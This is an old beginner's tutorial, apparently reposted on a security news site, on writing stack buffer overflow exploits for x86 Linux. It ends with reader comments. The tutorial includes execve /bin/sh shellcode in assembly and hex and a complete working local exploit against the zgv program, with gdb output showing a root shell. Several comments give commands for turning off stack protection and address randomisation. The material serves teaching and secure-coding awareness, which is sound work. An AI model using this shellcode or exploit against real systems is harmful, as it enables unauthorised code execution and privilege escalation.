Writing Buffer Overflow Exploits - a Tutorial for Beginners

10 Apr. 2002

Summary

Buffer overflows in user input dependent buffers have become one of the biggest security hazards on the internet and to modern computing in general. This is because such an error can easily be made at programming level, and while invisible for the user who does not understand or cannot acquire the source code, many of those errors are easy to exploit. This paper attempts to teach the novice - average C programmer how an overflow condition can be proven to be exploitable.

Credit:
The information has been provided by Mixter.

Details

1. Memory
Note: The way we describe it here, memory for a process is organized on most computers, however it depends on the type of processor architecture.
This example is for x86 and roughly applies to Sparc.

The principle of exploiting a buffer overflow is to overwrite parts of memory that are not supposed to be overwritten by arbitrary input and making the process execute this code. To see how and where an overflow takes place, let us look at how memory is organized. A page is a part of memory that uses its own relative addressing, meaning the kernel allocates initial memory for the process, which it can then access without having to know where the memory is physically located in RAM. The processes memory consists of three sections:

- Code segment, data in this segment are assembler instructions that the processor executes. The code execution is non-linear, it can skip code, jump, and call functions on certain conditions. Therefore, we have a pointer called EIP, or instruction pointer. The address where EIP points to always contains the code that will be executed next.

- Data segment, space for variables and dynamic buffers

- Stack segment, which is used to pass data (arguments) to functions and as a space for variables of functions. The bottom (start) of the stack usually resides at the very end of the virtual memory of a page, and grows down. The assembler command PUSHL will add to the top of the stack, and POPL will remove one item from the top of the stack and put it in a register. For accessing the stack memory directly, there is the stack pointer ESP that points at the top (lowest memory address) of the stack.

2. Functions
A function is a piece of code in the code segment that is called, performs a task, and then returns to the previous thread of execution. Optionally, arguments can be passed to a function. In assembler, it usually looks like this (very simple example, just to get the idea):

```
memory address      code
0x8054321 <main+x>    pushl $0x0
```

Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
Active Network Scanning
Fuzzing
Fuzzer Report
Network Security
Network Scanner
Pen Testing
Security Scanner
Scanner Review
Fuzzer Review
Web Scanner Review

```
0x8054322    call $0x80543a0 <function>
0x8054327    ret
0x8054328    leave
...
0x80543a0 <function>  popl %eax
0x80543a1    addl $0x1337,%eax
0x80543a4    ret
```

What happens here? The main function calls function(0); The variable is 0, main pushes it onto the stack, and calls the function. The function gets the variable from the stack using popl. After finishing, it returns to 0x8054327. Commonly, the main function would always push register EBP on the stack, which the function stores, and restores after finishing. This is the frame pointer concept that allows the function to use own offsets for addressing, which is mostly uninteresting while dealing with exploits, because the function will not return to the original execution thread anyways. We just have to know what the stack looks like. At the top, we have the internal buffers and variables of the function. After this, there is the saved EBP register (32 bit, which is 4 bytes), and then the return address, which is again 4 bytes. Going further down, there are the arguments passed to the function, which are uninteresting to us.

In this case, our return address is 0x8054327. It is automatically stored on the stack when the function is called. This return address can be overwritten, and changed to point to any point in memory, if there is an overflow somewhere in the code.

3. Example of an exploitable program
Let us assume that we exploit a function like this:

```
void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }
```

Compile and disassemble it:

```
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame':
/root/blah.c:1: the `gets' function is dangerous and should not be used.
# gdb blah
/* short explanation: gdb, the GNU debugger is used here to read the
   binary file and disassemble it (translate bytes to assembler code) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 <main>:       pushl  %ebp
0x80484c9 <main+1>:     movl   %esp,%ebp
0x80484cb <main+3>:     call   0x80484a0 <lame>
0x80484d0 <main+8>:     leave
0x80484d1 <main+9>:     ret

(gdb) disas lame
Dump of assembler code for function lame:
/* saving the frame pointer onto the stack right before the ret address */
0x80484a0 <lame>:       pushl  %ebp
0x80484a1 <lame+1>:     movl   %esp,%ebp
/* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the
   memory is allocated 4byte-wise (because the processor uses 32bit words)
   this is the equivalent to: char small[30]; */
0x80484a3 <lame+3>:     subl   $0x20,%esp
/* load a pointer to small[30] (the space on the stack, which is located
   at virtual address 0xffffffe0(%ebp)) on the stack, and call
   the gets function: gets(small); */
0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>:     pushl  %eax
0x80484aa <lame+10>:    call   0x80483ec <gets>
0x80484af <lame+15>:    addl   $0x4,%esp
/* load the address of small and the address of "%s\n" string on stack
   and call the print function: printf("%s\n", small); */
0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>:    pushl  %eax
0x80484b6 <lame+22>:    pushl  $0x804852c
```

Vulnerability in Oracle'
'Microsoft Windows DNS Stub Resolver Cache Poisoning (MS08-020)'
'Cold Boot Attacks on Disk Encryption'
'OpenBSD DNS Cache Poisoning and Multiple O/S Predictable IP ID Vulnerability'
'Exploiting WDM Audio Drivers'
'Securing and Hardening Linux Paper'
'27Mhz Wireless Keyboard Analysis Report aka "We Know What You Typed Last Summer"'
'Cryptanalysis of the Random Number Generator of the Windows Operating System'
'Windows Personal Firewall Analysis'

Featured Articles
'Apple OfficeImport Framework Excel Memory Corruption Vulnerability'
'How Shellcodes Work'
'HTTP Response Smuggling'
'Security Testing Demystified'
'UPnP Flawed Application'

```
0x80484bb <lame+27>:    call   0x80483dc <printf>
0x80484c0 <lame+32>:    addl   $0x8,%esp
/* get the return address, 0x80484d0, from stack and return to that address.
   you don't see that explicitly here because it is done by the CPU as 'ret' */
0x80484c3 <lame+35>:    leave
0x80484c4 <lame+36>:    ret

End of assembler dump.
```

3a. Overflowing the program

```
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
     eax:       0x24         36
     ecx:  0x804852f   134513967
     edx:        0x1          1
     ebx:   0x11a3c8     1156040
     esp: 0xbffffdb8 -1073742408
     ebp:   0x787878     7895160
              ^^^^^^
```

EBP is 0x787878, this means that we have written more data on the stack than the input buffer could handle. 0x78 is the hex representation of 'x'. The process had a buffer of 32 bytes maximum size. We have written more data into memory than allocated for user input and therefore overwritten EBP and the return address with 'xxxx', and the process tried to resume execution at address 0x787878, which caused it to get a segmentation fault.

3b. Changing the return address

Lets try to exploit the program to return to lame() instead of return. We have to change the return address form 0x80484d0 to 0x80484cb. In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET Here is a simple program to put the 4byte return address into a 1byte character buffer:

```
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ËËËËËËËËËËË,

# (ret;cat)|./blah
test     <- user input
ËËËËËËËËËËË,test
test     <- user input
test
```

Here we are, the program went through the function two times. If an overflow is present, the return address of functions can be changed to alter the programs execution thread.

4. Shellcode

To keep it simple, shellcode is simply assembler commands, which we write on the stack and then change the return address to return to the stack. Using this method, we can insert code into a vulnerable process and then execute it right on the stack.
So, let us generate insertable assembler code to run a shell. A common system call is execve(), which loads and runs any binary, terminating execution of the current process. The manpage gives us the usage:

```
int execve (const char *filename, char *const argv [], char *const envp[]);
```

'Database Servers on Windows XP - Unintended Consequences of Simple File Sharing'
'Advances in Format String Exploits'
'XSS Virus Whitepaper'
'NTLM HTTP Authentication is Insecure By Design'
'Meanwhile - On the Other Side of the Web Server'
'The Heart of Web Security'
'The 80/20 Rule for Web Application Security'
'Data Tastes Better Seasoned: Introducing the ASH Family of Hashing Algorithms'
'Common Firewall Configuration Errors'
'Analysis of the Exploitation Processes'
'Integer Array Overflows'
'Attacks on Kerberos V in a Windows 2000 Environment'
'More Advanced SQL Injection Paper Released'
'SQL Injection Walkthrough'
'CRLF Injection'

Let us get the details of the system call from glibc2:

```
# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 <execve>:       pushl  %ebx

/* this is the actual syscall. before a program would call execve, it would
  push the arguments in reverse order on the stack: **envp, **argv, *filename */
/* put address of **envp into edx register */
0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
/* put address of **argv into ecx register */
0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
/* put address of *filename into ebx register */
0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
/* put 0xb in eax register; 0xb == execve in the internal system call table */
0x5da0d <execve+13>:    movl   $0xb,%eax
/* give control to kernel, to execute execve instruction */
0x5da12 <execve+18>:    int    $0x80

0x5da14 <execve+20>:    popl   %ebx
0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
0x5da1c <execve+28>:    ret
End of assembler dump.
```

4a. Making the code portable
We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time.
Once we can estimate the size of the shellcode, we can use the instructions jmp <bytes> and call to go a specified number of bytes back or forth in the execution thread. Why use a call? We have the opportunity that a CALL will automatically store the return address on the stack, the return address being the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it.

```
0   jmp <Z>     (skip Z bytes forward)
2   popl %esi
... put function(s) here ...
Z   call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
Z+5 .string     (first variable)
```

(Note: If you are going to write code more complex than for spawning a simple shell, you can put more than one .string behind the code. You know the size of those strings and can therefore calculate their relative locations once you know where the first string is located.)

4b. The shellcode

```
global code_start    /* we'll need this later, do not mind it */
global code_end
  .data
code_start:
  jmp  0x17
  popl %esi
  movl %esi,0x8(%esi)  /* put address of **argv behind shellcode,
          0x8 bytes behind it so a /bin/sh has place */
  xorl %eax,%eax    /* put 0 in %eax */
  movb %eax,0x7(%esi)  /* put terminating 0 after /bin/sh string */
  movl %eax,0xc(%esi)  /* another 0 to get the size of a long word */
my_execve:
  movb $0xb,%al    /* execve(         */
  movl %esi,%ebx    /* "/bin/sh",      */
  leal 0x8(%esi),%ecx  /* & of "/bin/sh", */
  xorl %edx,%edx    /* NULL       */
  int $0x80    /* );       */
  call -0x1c
  .string "/bin/shX"  /* X is overwritten by movb %eax,0x7(%esi) */
```

```
code_end:
```

(The relative offsets 0x17 and -0x1c can be gained by putting in 0x0, compiling, disassembling, and then looking at the shell codes size.)

This is already working shellcode, though minimal. You should at least disassemble the exit() syscall and attach it (before the 'call'). The real art of making shellcode also consists of avoiding any binary zeroes in the code (indicates end of input/buffer very often) and modify it for example, so the binary code does not contain control or lower characters, which would get filtered out by some vulnerable programs.
Most of this stuff is done by self-modifying code, as we had in the movb %eax,0x7(%esi) instruction. We replaced the X with \0, but without having a \0 in the shellcode initially...

Let us test this code... save the above code as code.S (remove comments) and the following file as code.c:

```
extern void code_start();
extern void code_end();
#include <stdio.h>
main() { ((void (*)(void)) code_start)(); }
```

```
# cc -o code code.S code.c
# ./code
bash#
```

You can now convert the shellcode to a hex char buffer.
Best way to do this is, print it out:

```
#include <stdio.h>
extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }
```

and parse it through aconv -h or bin2c.pl, those tools can be found at: http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity.

5. Writing an exploit
Let us look at how to change the return address to point to shellcode put on the stack, and write a sample exploit. We will take zgv, because that is one of the easiest things to exploit out there.

```
# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
    esp: 0xbffff574 -1073744524
```

Well, this is the top of the stack at crash time. It is safe to presume that we can use this as return address to our shellcode. We will now add some NOP (no operation) instructions before our buffer, so we do not have to be 100% correct regarding the prediction of the exact start of our shellcode in memory (or even brute forcing it). The function will return onto the stack somewhere before our shellcode, work its way through the NOPs to the initial JMP command, jump to the CALL, jump back to the popl, and run our code on the stack.

Remember, the stack looks like this: at the lowest memory address, the top of the stack where ESP points to, the initial variables are stored, namely the buffer in zgv that stores the HOME environment variable.

After that, we have the saved EBP(4bytes) and the return address of the previous function. We must write 8 bytes or more behind the buffer to overwrite the return address with our new address on the stack.

The buffer in zgv is 1024 bytes big. You can find that out by glancing at the code, or by searching for the initial subl $0x400,%esp (=1024) in the vulnerable function. We will now put all those parts together in the exploit:

5a. Sample zgv exploit

```
/*                  zgv v3.0 exploit by Mixter
          buffer overflow tutorial - http://1337.tsx.org

        sample exploit, works for example with precompiled
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* This is the minimal shellcode from the tutorial */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90
#define LEN     1032
#define RET     0xbffff574

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

/* this fills the whole buffer with the return address, see 3b) */
for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;

/* this fills the initial buffer with NOP's, 100 chars less than the
   buffer size, so the shellcode and return address fits in comfortably */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;

/* after the end of the NOPs, we copy in the execve() shellcode */
memcpy(buffer+i,shellcode,strlen(shellcode));

/* export the variable, run zgv */

setenv("HOME", buffer, 1);
execlp("zgv","zgv",NULL);
return 0;
}

/* EOF */
```

We now have a string looking like this:

[... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET]

While zgv's stack looks like this:

```
v-- 0xbffff574 is here
[ S M A L L B U F F E R ] [SAVED EBP] [ORIGINAL RET]
```

The execution thread of zgv is now as follows:

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
At this point, zgv fails to do bounds checking, writes beyond the small buffer, and the return address to main is overwritten with the return address on the stack.
function() does leave/ret and the EIP points onto the stack:

```
0xbffff574 nop
0xbffff575 nop
```

```
0xbffff576 nop
0xbffff577 jmp $0x24            1
0xbffff579 popl %esi         3 <--\    |
[... shellcode starts here ...]    |    |
0xbffff59b call -$0x1c           2 <--/
0xbffff59e .string "/bin/shX"
```

Lets test the exploit...

```
# cc -o zgx zgx.c
# ./zgx
using address 0xbffff574
bash#
```

5b. Further tips on writing exploits
There are many programs that are tough to exploit, but nonetheless vulnerable. However, there are many tricks you can do to get behind filtering and such. Also other overflow techniques do not necessarily include changing the return address at all or only the return address. There are so-called pointer overflows, where a pointer that a function allocates can be overwritten by an overflow, altering the programs execution flow (an example is the RoTShB bind 4.9 exploit), and exploits where the return address points to the shells environment pointer, where the shellcode is located instead of being on the stack (this defeats very small buffers, and Non-executable stack patches, and can fool some security programs, though it can only be performed locally).
Another important subject for the skilled shellcode author is radically self-modifying code, which initially only consists of printable, non-white upper case characters, and then modifies itself to put functional shellcode on the stack which it executes, etc. You should never, ever have any binary zeroes in your shell code, because it will most possibly not work if it contains any. However, discussing how to sublimate certain assembler commands with others would go beyond the scope of this paper. We also suggest reading the other great overflow howto's out there, written by aleph1, Taeoh Oh and mudge.

6. Conclusions
We have learned, that once an overflow is present which is user dependent, it can be exploited about 90% of the time, even though exploiting some situations is difficult and takes some skill. Why is it important to write exploits? Because ignorance is omniscient in the software industry. There have already been reports of vulnerabilities due to buffer overflows in software, though the software has not been updated, or the majority of users did not update, because the vulnerability was hard to exploit and nobody believed it created a security risk. Then, an exploit actually comes out, proves, and practically enables a program to be exploitable, and there is usually a big (necessary) hurry to update it.

As for the programmer (you), it is a hard task to write secure programs, but it should be taken very serious. This is an especially large concern when writing servers, any type of security programs, or programs that are suid root, or designed to be run by root, any special accounts, or the system itself. Apply bounds checking (strn*, sn*, functions instead of sprintf etc.), prefer allocating buffers of a dynamic, input-dependent, size, be careful on for/while/etc. loops that gather data and stuff it into a buffer, and generally handle user input with very much care are the main principles we suggested.

There has also been made notable effort of the security industry to prevent overflow problems with techniques like non-executable stack, suid wrappers, guard programs that check return addresses, bounds checking compilers, and so on. You should make use of those techniques where possible, but do not fully rely on them. Do not assume to be safe at all, if you run a vanilla two-year old UNIX distribution without updates, but overflow protection or (even more stupid) firewalling/IDS. It cannot assure security, if you continue to use insecure programs because _all_ security programs are _software_ and can contain vulnerabilities themselves, or at least not be perfect. If you apply frequent updates _and_ security measures, you can still not expect to be secure, _but_ you can hope.

Comments:

22 Comments **SecuriTeam** 1 Login

Recommend 2 Tweet Share Sort by Best

Join the discussion…

LOG IN WITH

OR SIGN UP WITH DISQUS ?

Name

Anonymous • 8 years ago

It's called ms08-067

• Reply • Share ›

Depinder Bharti • 9 years ago

Nice description :P, but it dont work on new kernels .The Conficker exploit in windows is quite impressive use of the buffer overrun vulnerability.

• Reply • Share ›

linkz • 9 years ago

To allow stack-based buffer overflows in Ubuntu (and most modern kernels) there are a number of required gcc options. Below is an example command-line:

```
$ gcc -fno-stack-protector -z execstack vulnerable.c
```

-fno-stack-protector disables SSP (stack guard)
-z execstack marks the stack as executable

To turn randomization off by running:

```
$ sysctl -w kernel.randomize_va_space=0
```

• Reply • Share ›

Comments continue after advertisement

xyler • 10 years ago

i tried doing this on ubuntu.. I was able to overwrite EBP but couldnt overwrite EIP. I already disabled the randomised_va_space. but that didn help either.. how do I get this running??

^ | ⌄ • Reply • Share ›

joseph.paretihp.com • 11 years ago

can anybody explain how the program at chapter 3b is supposed to work? what is
# (ret;cat)|./blah

From what I understand one should be able to write in the address space of blah, but how do I run the other program at chapter 3b? I assumed it was "e;ret"e;, but then it would have exited by the time blah starts, so I am totally confused

^ | ⌄ • Reply • Share ›

oniric • 11 years ago

To test sample programs without using the Stack-smashing protection inside newer versions of GCC you can use the -fno-stack-protector option, useful for newbies trying to understand how buffer overflow works.

^ | ⌄ • Reply • Share ›

BingoFrog • 11 years ago

Thanks for sharing...

To the ones willing to get into programming, you can read The C handbook by Kernigan & Ritchie. They 'invented' C and Unix cores are in C language. It's a rather old book that should be cheap...
Afterwards, those willing to make their program communicate via sockets can get their hands on some TCP IP Sockets in C book or tutorial.

Bingo

^ | ⌄ • Reply • Share ›

dbutler1986 • 11 years ago

This won't work on newer kernels. They detect stack smashing and abort before ebp is overwritten.

^ | ⌄ • Reply • Share ›

ngaraagmail.com • 11 years ago

i wanna to learning buffer overflow..
so what can i do?
please share e-book, simulator, or other result..

thanks for yous kindness

^ | ⌄ • Reply • Share ›

Comments continue after advertisement

devnull.ara . tgmail.com • 11 years ago
What the heck do you mean by "e;if that thing really works"e;?
jajajajajajaj S***!
Every exploit discovered on Services/Applications wich has "e;Security"e; implications works this way!!!! Search for the phrase "e;May allow a remote atacker to execute arbitrary code"e; on microsoft data base (just as an example) and you'll notice...

"e;go to start>run>cmd>..... "e; HECK!!!!

Grat jokes around here...

[DevNull]
• Reply • Share ›

revolagima • 11 years ago
what a funny thing... if that thing really works: the OS(s) is/are indeed designed on the worse way!!! hahaha
• Reply • Share ›

d4n1l0d • 12 years ago
Great tutorial!!
• Reply • Share ›

linuxfreak • 12 years ago
K, so I'm not quite understanding any of this if someone would like to explain a bit more. i really a noob in this area. but something i'm also looking for is some type of good c++ tutorial. all the tutorials i look at are either too easy or too hard, there's not enough mediocre stuff, if you've found some plz, do tell.
• Reply • Share ›

brainpower • 12 years ago
i have a hint for you
goto Ubuntu.org and follow instalation insructions
• Reply • Share ›

abdulmusaliaryahoo.com • 12 years ago
Can anybody please tell me ow to detec buffer overflow in my pc. I would request if somebody could guide me through the process step wise. I mean like

go to start>run>cmd>.....

Some thing like this. Its very urgent
regards

• Reply • Share ›

Comments continue after advertisement

kg101 • 12 years ago

also, check out /proc/sys/kernel/randomize_va_space and change it to 0 to disable stack randomizing.

• Reply • Share ›

.red0x • 12 years ago

You should also disable Stack Randomization.

• Reply • Share ›

mkafridi_18hotmail.com • 12 years ago

HI
I am trying to learn a bit about buffer overflows but I just cant do that in xp. I am able to change the EBP vale to the location where the value is stored but having no luck for the thing to work. PLZ PLZ PLZ any body who knows any thing about how to exploite help me. I am so much in trouble cause this is my project and I dont want to fail, so PLZ be kind some what and plz help me here.

• Reply • Share ›

zebebe • 12 years ago

ever heard of checking:

/proc/sys/kernel/exec-protect

and disabling overflow protection?

Reply • Share ›

Miky Mouse • 12 years ago

Are you sure it works with new kernels?The ebp changes every time you run the program so every time the esp can differ a lot.

Reply • Share ›

Mick Lionheart • 13 years ago

I compiled and ran, i got no errors when i copy/pasted the Xes but it worked fine.
I have to input
"e;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"e; to get a 10 (SIGBUS)
and I have to input
"e;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"e; to get a 11 (SIGSEGV).

I am running Mac OS X 10.3 PPC.

Reply • Share ›

Comments continue after advertisement

Monster Prasentiert

Finde deinen nächste job mit Tempo Team. Jetzt entdecken.

Learn More

Sponsored by **Monster**

Report ad

Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs NEW!